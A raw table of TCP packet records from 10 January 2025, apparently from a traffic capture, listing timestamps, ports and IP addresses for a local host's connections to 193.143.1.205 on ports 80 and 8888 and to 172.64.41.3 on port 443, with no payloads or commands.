Jan 10, 2025 17:40:38.138051033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138062954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138075113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138076067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138087988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138098001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138103962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138118029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138123989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138140917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138153076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138158083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138179064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138190985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138221025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138232946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138243914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138257027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138262987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138302088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138340950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138354063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138367891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138371944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138386011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138398886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138408899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138436079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138515949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138528109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138552904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138562918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138566017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138580084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138602972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138603926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138617039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138637066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138700962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138712883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138725042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138742924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138756037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138756990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138767958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138771057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138782978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.138802052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.138833046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.141906023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.170840979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.170859098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.170877934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.170890093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.170901060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.170917034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.170921087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.170979977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.170980930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.170994997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.171008110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.171026945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.171040058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.171044111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.171066046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.171103001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.171114922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.171128035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.171149015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.171166897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.193924904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.193939924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.193953037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194020033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194041967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194067001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194067955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194084883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194097996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194118023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194120884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194132090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194153070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194190979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194231987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194243908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194256067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194267988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194279909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194293976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194315910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194369078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194380999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194392920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194402933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194415092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194427013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194443941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194473982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194479942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194492102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194504023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194514990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194526911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.194564104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.194591999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.221869946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.221884012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.221894026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.221903086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.221930027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.221951008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.221966028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.221987009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.221987009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222001076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222012997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222044945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222093105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222105026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222115040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222126961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222131014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222141027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222147942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222153902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222167969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222176075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222214937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222228050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222239017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222256899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222270012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222275019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222311974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222352982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222366095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222378016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222389936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222399950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222403049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222424030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222448111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222460985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222471952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222493887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222517967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222526073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222538948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222551107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222563028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222575903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222589016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222596884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222692966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222706079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222719908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222728968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222732067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222744942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222753048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222759962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222775936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222839117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222851992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222863913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222879887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222897053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222903013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222912073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222949982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222954988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.222970963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222982883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.222995996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223005056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.223007917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223028898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.223087072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223099947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223124027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.223166943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223179102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223198891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223208904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.223212004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223226070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223241091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223241091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.223263025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.223263025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223280907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223292112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223305941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223325968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.223325968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.223346949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.223361969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224339008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224363089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224375010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224406004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224417925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224431992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224443913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224456072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224466085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224488020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224684000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224725008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224751949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224765062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224792957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224802017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224807024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224819899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224843979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224865913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224899054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224900961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224914074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224926949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224940062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224947929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224956036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224967957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.224971056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.224994898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.225020885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.225083113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.225095987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.225106955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.225120068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.225123882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.225143909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.225164890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.225178003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.225189924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.225210905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.225229025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.232673883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.257271051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.257296085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.257308960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.257356882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.257364035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.257378101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.257404089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.257414103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.257426023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.257447004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.268613100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280293941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280333042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280353069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280361891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280368090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280381918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280392885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280396938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280421972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280539036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280558109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280570984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280577898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280592918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280606985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280613899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280620098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280633926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280641079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280647993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280662060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280673981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280703068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280721903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280735016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280746937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280761003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280769110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280795097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.280873060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280886889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.280926943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.292618990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.311619997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311639071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311650991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311661959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311676979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311688900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311701059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311702967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.311717033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311747074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.311750889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311760902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311764956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.311777115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311789989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311799049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.311801910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311817884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311825991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.311830044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311842918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.311857939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.311896086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.316922903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.316948891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.452614069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.918495893 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.923438072 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:38.923525095 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.923706055 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:38.928505898 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:39.715270042 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 17:40:39.759624004 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:39.996778011 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 17:40:45.618657112 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:45.618689060 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:45.618783951 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:45.618957043 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:45.618968010 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:45.619257927 CET	49712	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:45.619332075 CET	443	49712	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:45.619389057 CET	49712	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:45.619520903 CET	49712	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:45.619532108 CET	443	49712	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.078701973 CET	443	49712	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.079706907 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.086839914 CET	49712	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.086855888 CET	443	49712	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.087233067 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.087248087 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.088186026 CET	443	49712	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.088241100 CET	49712	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.088377953 CET	443	49711	172.64.41.3	192.168.2.5
Jan 10, 2025 17:40:46.088526964 CET	49711	443	192.168.2.5	172.64.41.3
Jan 10, 2025 17:40:46.091865063 CET	49712	443	192.168.2.5	172.64.41.3
